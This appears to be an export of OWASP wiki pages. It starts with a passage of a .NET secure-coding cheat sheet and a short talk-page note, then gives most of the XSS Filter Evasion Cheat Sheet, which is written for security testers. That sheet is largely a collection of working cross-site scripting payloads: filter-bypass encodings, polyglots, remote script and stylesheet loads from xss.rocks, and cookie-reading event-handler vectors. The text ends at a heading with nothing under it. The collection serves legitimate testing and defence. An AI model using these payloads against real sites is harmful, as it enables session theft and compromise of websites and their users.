or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* A8 Cross site request forgery

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

NB: You will need to attach the anti-forgery token to Ajax requests.

* A9 Using components with known vulnerabilities

DO: Keep the .Net framework updated with the latest patches
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* A10 Unvalidated redirects and forwards

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

Talk:Information Leak (information disclosure)

2016-12-12T15:26:57Z

Bill Sempf:

Why would this be a candidate for deletion? Is there a replacement page? Information Disclosure is a real vulnerability.
--[[User:Bill Sempf|Bill Sempf]] ([[User talk:Bill Sempf|talk]]) 09:26, 12 December 2016 (CST)

Talk:Information Leak (information disclosure)

2016-12-12T15:26:48Z

Bill Sempf: Created page with "Why would this be a candidate for deletion? Is there a replacement page? Information Disclosure is a real vulnerability."

Why would this be a candidate for deletion? Is there a replacement page? Information Disclosure is a real vulnerability.

XSS Filter Evasion Cheat Sheet

2016-06-01T13:29:35Z

Bill Sempf: /* Google "feeling lucky" part 1. */ Spelling

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/>
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.

= Tests =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

== XSS Locator ==
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

== XSS Locator (short) ==
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

'';!--"<XSS>=&{()}

== No Filter Evasion ==
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

== Filter bypass based polyglot ==

<pre>'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"></pre>

== Image XSS using the JavaScript directive ==
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

== No quotes and no semicolon ==

<IMG SRC=javascript:alert('XSS')>

== Case insensitive XSS attack vector ==

<IMG SRC=JaVaScRiPt:alert('XSS')>

== HTML entities ==
The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

== Grave accent obfuscation ==
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

== Malformed A tags ==
Skip the HREF attribute and get to the meat of the XXS...
Submitted by David Cross ~ Verified on Chrome

<nowiki><a onmouseover="alert(document.cookie)">xxs link</a></nowiki>

or
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

<nowiki><a onmouseover=alert(document.cookie)>xxs link</a></nowiki>

== Malformed IMG tags ==
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

== fromCharCode ==
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

== Default SRC tag to get past filters that check SRC domain ==
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.
Submitted by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

<IMG SRC=# onmouseover="alert('xxs')">

== Default SRC tag by leaving it empty ==

<IMG SRC= onmouseover="alert('xxs')">

== Default SRC tag by leaving it out entirely ==

<IMG onmouseover="alert('xxs')">

== On error alert ==

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

== IMG onerror and javascript alert encode==

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

== Decimal HTML character references ==
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

== Decimal HTML character references without trailing semicolons ==
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

== Hexadecimal HTML character references without trailing semicolons ==
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

== Embedded tab ==
Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

== Embedded Encoded tab ==
Use this one to break up XSS :
<IMG SRC="jav&#x09;ascript:alert('XSS');">

== Embedded newline to break up XSS ==
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>

== Embedded carriage return to break up XSS ==
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

== Null breaks up JavaScript directive ==
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

== Spaces and meta chars before the JavaScript in images for XSS ==
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC="  javascript:alert('XSS');">

== Non-alpha-non-digit XSS ==
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<nowiki><SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT></nowiki>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<nowiki><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></nowiki>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<nowiki><SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT></nowiki>

== Extraneous open brackets ==
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert("XSS");//<</SCRIPT>

== No closing script tags ==
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<nowiki><SCRIPT SRC=http://xss.rocks/xss.js?< B ></nowiki>

== Protocol resolution in script tags ==
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//xss.rocks/.j>

== Half open HTML/JavaScript XSS vector ==
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

== Double open angle brackets ==
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<nowiki><iframe src=http://xss.rocks/scriptlet.html <</nowiki>

== Escaping JavaScript escapes ==
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

</script><script>alert('XSS');</script>

== End title tag ==
This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

<nowiki></TITLE><SCRIPT>alert("XSS");</SCRIPT></nowiki>

==INPUT image ==
<nowiki><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></nowiki>

== BODY image ==
<nowiki><BODY BACKGROUND="javascript:alert('XSS')"></nowiki>

== IMG Dynsrc ==
<nowiki><IMG DYNSRC="javascript:alert('XSS')"></nowiki>

== IMG lowsrc ==
<nowiki><IMG LOWSRC="javascript:alert('XSS')"></nowiki>

== List-style-image ==
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<nowiki><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br></nowiki>

== VBscript in an image ==
<nowiki><IMG SRC='vbscript:msgbox("XSS")'></nowiki>

== Livescript (older versions of Netscape only) ==
<nowiki><IMG SRC="livescript:[code]"></nowiki>

== SVG object tag ==
<nowiki><svg/onload=alert('XSS')></nowiki>

== BODY tag ==
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<nowiki><BODY ONLOAD=alert('XSS')></nowiki>

== Event Handlers ==

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].

# <code>FSCommand()</code> (attacker can use this when executed from within an embedded Flash object)
# <code>onAbort()</code> (when user aborts the loading of an image)
# <code>onActivate()</code> (when object is set as the active element)
# <code>onAfterPrint()</code> (activates after user prints or previews print job)
# <code>onAfterUpdate()</code> (activates on data object after updating data in the source object)
# <code>onBeforeActivate()</code> (fires before the object is set as the active element)
# <code>onBeforeCopy()</code> (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the <code>execCommand("Copy")</code> function)
# <code>onBeforeCut()</code> (attacker executes the attack string right before a selection is cut)
# <code>onBeforeDeactivate()</code> (fires right after the activeElement is changed from the current object)
# <code>onBeforeEditFocus()</code> (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
# <code>onBeforePaste()</code> (user needs to be tricked into pasting or be forced into it using the <code>execCommand("Paste")</code> function)
# <code>onBeforePrint()</code> (user would need to be tricked into printing or attacker could use the <code>print()</code> or <code>execCommand("Print")</code> function).
# <code>onBeforeUnload()</code> (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
# <code>onBeforeUpdate()</code> (activates on data object before updating data in the source object)
# <code>onBegin()</code> (the onbegin event fires immediately when the element's timeline begins)
# <code>onBlur()</code> (in the case where another popup is loaded and window looses focus)
# <code>onBounce()</code> (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
# <code>onCellChange()</code> (fires when data changes in the data provider)
# <code>onChange()</code> (select, text, or TEXTAREA field loses focus and its value has been modified)
# <code>onClick()</code> (someone clicks on a form)
# <code>onContextMenu()</code> (user would need to right click on attack area)
# <code>onControlSelect()</code> (fires when the user is about to make a control selection of the object)
# <code>onCopy()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Copy")</code> command)
# <code>onCut()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Cut")</code> command)
# <code>onDataAvailable()</code> (user would need to change data in an element, or attacker could perform the same function)
# <code>onDataSetChanged()</code> (fires when the data set exposed by a data source object changes)
# <code>onDataSetComplete()</code> (fires to indicate that all data is available from the data source object)
# <code>onDblClick()</code> (user double-clicks a form element or a link)
# <code>onDeactivate()</code> (fires when the activeElement is changed from the current object to another object in the parent document)
# <code>onDrag()</code> (requires that the user drags an object)
# <code>onDragEnd()</code> (requires that the user drags an object)
# <code>onDragLeave()</code> (requires that the user drags an object off a valid location)
# <code>onDragEnter()</code> (requires that the user drags an object into a valid location)
# <code>onDragOver()</code> (requires that the user drags an object into a valid location)
# <code>onDragDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onDragStart()</code> (occurs when user starts drag operation)
# <code>onDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onEnd()</code> (the onEnd event fires when the timeline ends.
# <code>onError()</code> (loading of a document or image causes an error)
# <code>onErrorUpdate()</code> (fires on a databound object when an error occurs while updating the associated data in the data source object)
# <code>onFilterChange()</code> (fires when a visual filter completes state change)
# <code>onFinish()</code> (attacker can create the exploit when marquee is finished looping)
# <code>onFocus()</code> (attacker executes the attack string when the window gets focus)
# <code>onFocusIn()</code> (attacker executes the attack string when window gets focus)
# <code>onFocusOut()</code> (attacker executes the attack string when window looses focus)
# <code>onHashChange()</code> (fires when the fragment identifier part of the document's current address changed)
# <code>onHelp()</code> (attacker executes the attack string when users hits F1 while the window is in focus)
# <code>onInput()</code> (the text content of an element is changed through the user interface)
# <code>onKeyDown()</code> (user depresses a key)
# <code>onKeyPress()</code> (user presses or holds down a key)
# <code>onKeyUp()</code> (user releases a key)
# <code>onLayoutComplete()</code> (user would have to print or print preview)
# <code>onLoad()</code> (attacker executes the attack string after the window loads)
# <code>onLoseCapture()</code> (can be exploited by the <code>releaseCapture()</code> method)
# <code>onMediaComplete()</code> (When a streaming media file is used, this event could fire before the file starts playing)
# <code>onMediaError()</code> (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
# <code>onMessage()</code> (fire when the document received a message)
# <code>onMouseDown()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseEnter()</code> (cursor moves over an object or area)
# <code>onMouseLeave()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseMove()</code> (the attacker would need to get the user to mouse over an image or table)
# <code>onMouseOut()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseOver()</code> (cursor moves over an object or area)
# <code>onMouseUp()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseWheel()</code> (the attacker would need to get the user to use their mouse wheel)
# <code>onMove()</code> (user or attacker would move the page)
# <code>onMoveEnd()</code> (user or attacker would move the page)
# <code>onMoveStart()</code> (user or attacker would move the page)
# <code>onOffline()</code> (occurs if the browser is working in online mode and it starts to work offline)
# <code>onOnline()</code> (occurs if the browser is working in offline mode and it starts to work online)
# <code>onOutOfSync()</code> (interrupt the element's ability to play its media as defined by the timeline)
# <code>onPaste()</code> (user would need to paste or attacker could use the <code>execCommand("Paste")</code> function)
# <code>onPause()</code> (the onpause event fires on every element that is active when the timeline pauses, including the body element)
# <code>onPopState()</code> (fires when user navigated the session history)
# <code>onProgress()</code> (attacker would use this as a flash movie was loading)
# <code>onPropertyChange()</code> (user or attacker would need to change an element property)
# <code>onReadyStateChange()</code> (user or attacker would need to change an element property)
# <code>onRedo()</code> (user went forward in undo transaction history)
# <code>onRepeat()</code> (the event fires once for each repetition of the timeline, excluding the first full cycle)
# <code>onReset()</code> (user or attacker resets a form)
# <code>onResize()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeEnd()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeStart()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResume()</code> (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
# <code>onReverse()</code> (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
# <code>onRowsEnter()</code> (user or attacker would need to change a row in a data source)
# <code>onRowExit()</code> (user or attacker would need to change a row in a data source)
# <code>onRowDelete()</code> (user or attacker would need to delete a row in a data source)
# <code>onRowInserted()</code> (user or attacker would need to insert a row in a data source)
# <code>onScroll()</code> (user would need to scroll, or attacker could use the <code>scrollBy()</code> function)
# <code>onSeek()</code> (the onreverse event fires when the timeline is set to play in any direction other than forward)
# <code>onSelect()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectionChange()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectStart()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onStart()</code> (fires at the beginning of each marquee loop)
# <code>onStop()</code> (user would need to press the stop button or leave the webpage)
# <code>onStorage()</code> (storage area changed)
# <code>onSyncRestored()</code> (user interrupts the element's ability to play its media as defined by the timeline to fire)
# <code>onSubmit()</code> (requires attacker or user submits a form)
# <code>onTimeError()</code> (user or attacker sets a time property, such as dur, to an invalid value)
# <code>onTrackChange()</code> (user or attacker changes track in a playList)
# <code>onUndo()</code> (user went backward in undo transaction history)
# <code>onUnload()</code> (as the user clicks any link or presses the back button or attacker forces a click)
# <code>onURLFlip()</code> (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
# <code>seekSegmentTime()</code> (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

== BGSOUND ==
<BGSOUND SRC="javascript:alert('XSS');">

== & JavaScript includes ==
<nowiki><BR SIZE="&{alert('XSS')}"></nowiki>
== STYLE sheet ==
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

== Remote style sheet ==
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<nowiki><LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"></nowiki>

== Remote style sheet part 2 ==
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<nowiki><STYLE>@import'http://xss.rocks/xss.css';</STYLE></nowiki>

== Remote style sheet part 3 ==
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <nowiki><http://xss.rocks/xss.css>; REL=stylesheet)</nowiki> and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<nowiki><META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"></nowiki>

== Remote style sheet part 4 ==
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<nowiki><STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE></nowiki>

== STYLE tags with broken up JavaScript for XSS ==
This XSS at times sends IE into an infinite loop of alerts:
<nowiki><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></nowiki>

== STYLE attribute using a comment to break up expression ==
Created by Roman Ivanov
<nowiki><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></nowiki>

== IMG STYLE with expression ==
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:
<nowiki>exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'></nowiki>

== STYLE tag (Older versions of Netscape only)==
<nowiki><STYLE TYPE="text/javascript">alert('XSS');</STYLE></nowiki>

== STYLE tag using background-image ==
<nowiki><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></nowiki>

== STYLE tag using background ==
<nowiki><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></nowiki>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

== Anonymous HTML with STYLE attribute ==
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
<nowiki><XSS STYLE="xss:expression(alert('XSS'))"></nowiki>

== Local htc file ==
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">

== US-ASCII encoding ==
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

== META ==
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></nowiki>

=== META using data ===
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></nowiki>

=== META with additional URL parameter ===
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></nowiki>

== IFRAME ==
If iframes are allowed there are a lot of other XSS problems as well:
<nowiki><IFRAME SRC="javascript:alert('XSS');"></IFRAME></nowiki>

== IFRAME Event based ==
IFrames and most other elements can use event based mayhem like the following...
(Submitted by: David Cross)
<nowiki><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME></nowiki>

== FRAME ==
Frames have the same sorts of XSS problems as iframes
<nowiki><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></nowiki>

== TABLE ==
